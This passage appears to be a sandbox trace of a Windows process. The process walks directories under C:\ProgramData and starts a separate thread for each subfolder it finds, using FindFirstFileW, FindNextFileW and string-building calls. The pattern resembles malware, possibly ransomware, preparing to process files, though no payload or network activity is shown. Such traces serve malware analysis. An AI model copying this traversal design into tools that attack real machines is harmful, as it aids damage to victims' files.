	[0073.867] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1
	[0073.867] wcscmp (_String1="Windows NT", _String2=".") returned 1
	[0073.867] wcscmp (_String1="Windows NT", _String2="..") returned 1
	[0073.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2d8b0d0
	[0073.867] wcscpy (in: _Dest=0x2d8b0d0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.867] wcscat (in: _Dest=0x2d8b0d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.867] wcscat (in: _Dest=0x2d8b0d0, _Source="Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT"
	[0073.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8b0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c
	[0073.868] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1
	[0073.868] wcscmp (_String1="Windows Security Health", _String2=".") returned 1
	[0073.868] wcscmp (_String1="Windows Security Health", _String2="..") returned 1
	[0073.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x2d86c08
	[0073.868] wcscpy (in: _Dest=0x2d86c08, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.868] wcscat (in: _Dest=0x2d86c08, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.868] wcscat (in: _Dest=0x2d86c08, _Source="Windows Security Health" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health") returned="C:\\ProgramData\\Microsoft\\Windows Security Health"
	[0073.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d86c08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x750
	[0073.871] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1
	[0073.871] wcscmp (_String1="WinMSIPC", _String2=".") returned 1
	[0073.871] wcscmp (_String1="WinMSIPC", _String2="..") returned 1
	[0073.871] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x44) returned 0x2d8afe0
	[0073.871] wcscpy (in: _Dest=0x2d8afe0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.871] wcscat (in: _Dest=0x2d8afe0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.871] wcscat (in: _Dest=0x2d8afe0, _Source="WinMSIPC" | out: _Dest="C:\\ProgramData\\Microsoft\\WinMSIPC") returned="C:\\ProgramData\\Microsoft\\WinMSIPC"
	[0073.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8afe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754
	[0073.872] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1
	[0073.872] wcscmp (_String1="WwanSvc", _String2=".") returned 1
	[0073.872] wcscmp (_String1="WwanSvc", _String2="..") returned 1
	[0073.872] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2d8b170
	[0073.872] wcscpy (in: _Dest=0x2d8b170, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft"
	[0073.872] wcscat (in: _Dest=0x2d8b170, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\"
	[0073.872] wcscat (in: _Dest=0x2d8b170, _Source="WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc"
	[0073.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8b170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758
	[0073.872] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0
	[0073.872] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0073.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d71140) returned 1
	[0073.873] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70ac0) returned 1

Thread:
	id = 110
	os_tid = 0xbfc

	[0073.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x2d8ab30
	[0073.873] wcscpy (in: _Dest=0x2d8ab30, _Source="C:\\ProgramData\\Microsoft OneDrive" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive") returned="C:\\ProgramData\\Microsoft OneDrive"
	[0073.873] wcscat (in: _Dest=0x2d8ab30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\") returned="C:\\ProgramData\\Microsoft OneDrive\\"
	[0073.873] wcscat (in: _Dest=0x2d8ab30, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\*") returned="C:\\ProgramData\\Microsoft OneDrive\\*"
	[0073.873] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.873] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft OneDrive\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.874] wcscmp (_String1=".", _String2=".") returned 0
	[0073.874] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.874] wcscmp (_String1="..", _String2=".") returned 1
	[0073.874] wcscmp (_String1="..", _String2="..") returned 0
	[0073.874] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1
	[0073.874] wcscmp (_String1="setup", _String2=".") returned 1
	[0073.874] wcscmp (_String1="setup", _String2="..") returned 1
	[0073.874] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d85708
	[0073.874] wcscpy (in: _Dest=0x2d85708, _Source="C:\\ProgramData\\Microsoft OneDrive" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive") returned="C:\\ProgramData\\Microsoft OneDrive"
	[0073.874] wcscat (in: _Dest=0x2d85708, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\") returned="C:\\ProgramData\\Microsoft OneDrive\\"
	[0073.875] wcscat (in: _Dest=0x2d85708, _Source="setup" | out: _Dest="C:\\ProgramData\\Microsoft OneDrive\\setup") returned="C:\\ProgramData\\Microsoft OneDrive\\setup"
	[0073.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d85708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c
	[0073.875] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0
	[0073.876] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d8ab30) returned 1
	[0073.876] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47311e0) returned 1

Thread:
	id = 111
	os_tid = 0xb30

	[0073.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2d7bdc8
	[0073.877] wcscpy (in: _Dest=0x2d7bdc8, _Source="C:\\ProgramData\\Oracle" | out: _Dest="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle"
	[0073.877] wcscat (in: _Dest=0x2d7bdc8, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\") returned="C:\\ProgramData\\Oracle\\"
	[0073.877] wcscat (in: _Dest=0x2d7bdc8, _Source="*" | out: _Dest="C:\\ProgramData\\Oracle\\*") returned="C:\\ProgramData\\Oracle\\*"
	[0073.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.877] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.877] wcscmp (_String1=".", _String2=".") returned 0
	[0073.877] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.877] wcscmp (_String1="..", _String2=".") returned 1
	[0073.877] wcscmp (_String1="..", _String2="..") returned 0
	[0073.877] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0073.877] wcscmp (_String1="Java", _String2=".") returned 1
	[0073.877] wcscmp (_String1="Java", _String2="..") returned 1
	[0073.877] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d70d40
	[0073.877] wcscpy (in: _Dest=0x2d70d40, _Source="C:\\ProgramData\\Oracle" | out: _Dest="C:\\ProgramData\\Oracle") returned="C:\\ProgramData\\Oracle"
	[0073.877] wcscat (in: _Dest=0x2d70d40, _Source="\\" | out: _Dest="C:\\ProgramData\\Oracle\\") returned="C:\\ProgramData\\Oracle\\"
	[0073.877] wcscat (in: _Dest=0x2d70d40, _Source="Java" | out: _Dest="C:\\ProgramData\\Oracle\\Java") returned="C:\\ProgramData\\Oracle\\Java"
	[0073.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d70d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760
	[0073.878] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
	[0073.878] FindClose (in: hFindFile=0x2d70a80 | out: hFindFile=0x2d70a80) returned 1
	[0073.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86350) returned 1
	[0073.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bdc8) returned 1
	[0073.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bd90) returned 1

Thread:
	id = 112
	os_tid = 0x574

	[0073.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73108
	[0073.879] wcscpy (in: _Dest=0x2d73108, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.879] wcscat (in: _Dest=0x2d73108, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.879] wcscat (in: _Dest=0x2d73108, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\*") returned="C:\\ProgramData\\Package Cache\\*"
	[0073.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d86350
	[0073.879] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70a80
	[0073.880] wcscmp (_String1=".", _String2=".") returned 0
	[0073.880] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.880] wcscmp (_String1="..", _String2=".") returned 1
	[0073.880] wcscmp (_String1="..", _String2="..") returned 0
	[0073.880] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1
	[0073.880] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2=".") returned 1
	[0073.880] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2="..") returned 1
	[0073.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7fe38
	[0073.880] wcscpy (in: _Dest=0x2d7fe38, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.880] wcscat (in: _Dest=0x2d7fe38, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.880] wcscat (in: _Dest=0x2d7fe38, _Source="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0073.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7fe38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764
	[0073.881] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1
	[0073.881] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2=".") returned 1
	[0073.881] wcscmp (_String1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", _String2="..") returned 1
	[0073.881] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7acd0
	[0073.881] wcscpy (in: _Dest=0x2d7acd0, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.881] wcscat (in: _Dest=0x2d7acd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.881] wcscat (in: _Dest=0x2d7acd0, _Source="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: _Dest="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0073.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7acd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768
	[0073.882] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1
	[0073.882] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2=".") returned 1
	[0073.882] wcscmp (_String1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", _String2="..") returned 1
	[0073.882] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9e) returned 0x2d7f508
	[0073.882] wcscpy (in: _Dest=0x2d7f508, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.882] wcscat (in: _Dest=0x2d7f508, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.882] wcscat (in: _Dest=0x2d7f508, _Source="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: _Dest="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0073.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7f508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c
	[0073.883] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1
	[0073.883] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2=".") returned 1
	[0073.883] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2="..") returned 1
	[0073.883] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x2d7b030
	[0073.883] wcscpy (in: _Dest=0x2d7b030, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.883] wcscat (in: _Dest=0x2d7b030, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
	[0073.883] wcscat (in: _Dest=0x2d7b030, _Source="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0073.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7b030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x770
	[0073.884] FindNextFileW (in: hFindFile=0x2d70a80, lpFindFileData=0x2d86350 | out: lpFindFileData=0x2d86350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1
	[0073.884] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2=".") returned 1
	[0073.884] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2="..") returned 1
	[0073.884] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7fc40
	[0073.884] wcscpy (in: _Dest=0x2d7fc40, _Source="C:\\ProgramData\\Package Cache" | out: _Dest="C:\\ProgramData\\Package Cache") returned="C:\\ProgramData\\Package Cache"
	[0073.884] wcscat (in: _Dest=0x2d7fc40, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\") returned="C:\\ProgramData\\Package Cache\\"
